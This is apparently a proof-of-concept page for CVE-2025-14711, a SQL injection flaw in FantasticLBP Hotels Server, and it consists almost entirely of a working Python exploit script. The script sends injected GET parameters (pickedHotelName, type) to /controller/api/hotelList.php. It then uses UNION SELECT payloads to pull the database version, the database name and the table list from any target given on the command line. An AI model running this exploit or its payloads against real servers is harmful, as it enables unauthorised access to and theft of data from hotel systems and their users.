CVE-2025-14711 FantasticLBP Hotels Server SQL注入漏洞

import requests import sys # CVE-2025-14711 SQL Injection PoC # Target: FantasticLBP Hotels Server # Vulnerability: SQL Injection in /controller/api/hotelList.php def exploit_sqli(target_url, payload): """ Exploit SQL injection vulnerability in FantasticLBP Hotels Server Args: target_url: Base URL of the target server payload: SQL injection payload Returns: Server response or error message """ endpoint = f"{target_url}/controller/api/hotelList.php" # Prepare malicious parameters params = { 'pickedHotelName': payload, 'type': payload } try: # Send GET request with injected payload response = requests.get(endpoint, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Request failed: {str(e)}" def main(): if len(sys.argv) < 2: print("Usage: python cve_2025_14711.py <target_url>") print("Example: python cve_2025_14711.py http://victim.com") sys.exit(1) target = sys.argv[1].rstrip('/') # Test payload - basic SQL injection test # This payload attempts to cause a database error test_payload = "'" print(f"[*] Testing SQL injection on {target}") print(f"[*] Endpoint: {target}/controller/api/hotelList.php") response = exploit_sqli(target, test_payload) print(f"[+] Response received (length: {len(response)} bytes)") # Database enumeration payload - get database version enum_payload = "' UNION SELECT NULL,version(),NULL,NULL-- -" print(f"\n[*] Enumerating database version...") version_info = exploit_sqli(target, enum_payload) print(f"[+] Version info: {version_info[:200]}...") # Extract database name dbname_payload = "' UNION SELECT NULL,database(),NULL,NULL-- -" print(f"\n[*] Extracting database name...") dbname = exploit_sqli(target, dbname_payload) print(f"[+] Database name: {dbname[:200]}...") # Extract user tables tables_payload = "' UNION SELECT NULL,group_concat(table_name),NULL,NULL FROM information_schema.tables WHERE table_schema=database()-- -" print(f"\n[*] Extracting database tables...") tables = exploit_sqli(target, tables_payload) print(f"[+] Tables: {tables[:500]}...") if __name__ == "__main__": main()